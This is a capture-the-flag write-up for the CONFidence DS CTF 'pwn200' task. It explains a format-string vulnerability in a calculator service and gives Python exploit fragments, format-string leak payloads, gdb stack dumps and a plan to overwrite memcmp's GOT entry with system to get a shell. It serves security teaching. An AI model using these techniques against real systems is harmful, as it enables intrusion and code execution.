CONFidence DS CTF - pwn200 writeup

This writeup was cross-posted from balidani.blogspot.hu. Author: Dániel Bali.

The Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.

Finding the vulnerability

Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.

pwn200_1

So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.

One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.

Let's fire up IDA and look for vulnerabilities.

We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.

pwn200_2

First things first, we look at the main function.

v8 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
puts("Welcome to Multipurpose Calculation Machine!");
for ( i = 0; i <= 2; ++i )
{
  print_menu();
  printf("Choice: ");
  read_count = read(0, &input, 63u);
  if ( !read_count )
    break;
  *(&input + read_count) = 0;
  newline_idx = strchr(&input, '\n');
  if ( newline_idx )
    *newline_idx = 0;
  for ( j = 0; *(void **)((char *)&operations + 3 * j + 8) != 0; ++j )
  {
    op_len = strlen((const char *)*(&operations + 3 * j));
    if ( !memcmp(&input, *(&operations + 3 * j), op_len) )
      (*(void (__cdecl **)(char *, signed int, _DWORD, char *))((char *)&operations + 3 * j + 8))(
        &format_buf,
        308,
        *(void **)((char *)&operations + 3 * j + 4),
        &input);
  }
}
result = 0;
if ( *MK_FP(__GS__, 20) != v8 )
  sub_2090();
return result;

The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).

Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:

v11 = 10;
printf("[%s] Choose the number of parameters: ", op);
scanf("%u", &param_count);
if ( (unsigned int)param_count <= 10 )
{
  for ( i = 0; i < param_count; ++i )
  {
    printf("[%s] Provide parameter %u: ", op, i + 1);
    scanf("%u", &params[i]);
  }
  print_to_string(char_buf, 0x1000u, op, msg_of_day, params, param_count);
  strncpy(output_buf, char_buf, n);
  for ( j = 0; j < n; ++j )
  {
    if ( output_buf[j] == '%' )
      output_buf[j] = '_';
  }
  printf(output_buf);
  sum = 0LL;
  for ( k = 0; k < param_count; ++k )
    sum += (unsigned int)params[k];
  result = printf("[%s] The sum of provided numbers is %llu\n", op, sum);
}
else
{
  result = printf("[%s] Too many arguments!\n", op);
}
return result;

The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).

We know that the value of 'n' is 308. Unfortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.

The next step is a quest to look for the longest possible output. Here is the format of the string:

[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]

After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.

pwn200_3

That's a beautiful address we just leaked there, and proof that our vulnerability works.

Pwning the service

So how do we go about pwning the task now?

I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls system("/bin/sh") for us. All I saw was that system is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh, very original, I know).

My idea was to replace memcmp with system, so in the next turn, our input is evaluated.

Finding the system function

So how do we find where the system function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.

Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0. memcmp in the got is at 0x3A78, while system is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.

Our goal is to write the value at 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.

def send_payload(payload):
    global s

    payload = payload + "A" * (63 - len(payload))

    s.recv(1024)
    s.send(payload + "\n")
    s.recv(1024)
    s.send("9\n")

    for x in range(9):
        s.recv(1024)
        s.send("-1111111111\n")

    res = s.recv(1024)
    return res.split("\n")[1]

This function will send our payload and return the leaked value to us. The first address can be leaked like this:

# Leak address
payload = "tan %08x "

result = send_payload(payload)
result = result.split("[")[0].split(" ")[1:-1]
leaked_addr = int(result[0], 16)

How can we now leak a value at a specific address?

Leaking system's address

We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.

(gdb) start
(gdb) b *0x56556dcf
(gdb) r
Choice: tanAAAA
<run until breakpoint is triggered>
(gdb) x/256x $esp

0xffffd100: 0xffffd1a8  0x56558bc0  0x00000134  0x565573d8
0xffffd110: 0xffffd138  0x00000001  0x00000000  0xf7d5893c
0xffffd120: 0xf7e94a20  0x0000000a  0x000000b7  0x56555000
0xffffd130: 0x56555464  0x00003a78  0x00000001  0xf7cef700
0xffffd140: 0xf7e94a20  0xf7cf88f8  0xf7d3385b  0xf7e93ff4
0xffffd150: 0x00000000  0x56558a68  0x56558b00  0x00000000
0xffffd160: 0x00000134  0x00000001  0x00000001  0x00000009
0xffffd170: 0xffffd2dc  0x56558a68  0xffffd338  0x56555cb7
0xffffd180: 0xffffd1a8  0x00000134  0x565573d8  0xffffd2dc
0xffffd190: 0xf7ef3b98  0x00000008  0xffffd2e3  0x00000008
0xffffd1a0: 0x00000000  0x00000003  0x6e61745b  0x41414141
0xffffd1b0: 0x654d205d  0x67617373  0x666f2065  0x65687420

And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find system's value for real.

# Kids, don't code like this at home
result = send_payload("tan" + system_got_addr + " >>>%43$s<<< ")
system_value = result.split(">>>")[1].split("<<<")[0][0:4][::-1].encode('hex')

print "System:", system_value

offset = leaked_addr - int(system_value, 16)
print "Offset:", offset

The offset will be 13010, which is 0x32D2 in hex.

The good old arbitrary write

Now that we know everything, only one step remains. We have to write (leakedaddr - 0x32D2) at (leakedaddr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here.

Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to system instead of memcmp. And this is what happens:

$ ls -lsa
total 28
 4 drwxr-xr-x 2 root root  4096 Apr 26 08:15 .
 4 drwxr-xr-x 3 root root  4096 Apr 25 23:21 ..
 4 -rw-r--r-- 1 root root    71 Apr 25 23:22 flag.txt
16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200
[ls -lsa] Choose the number of parameters:

$ cat flag.txt
DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba

I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.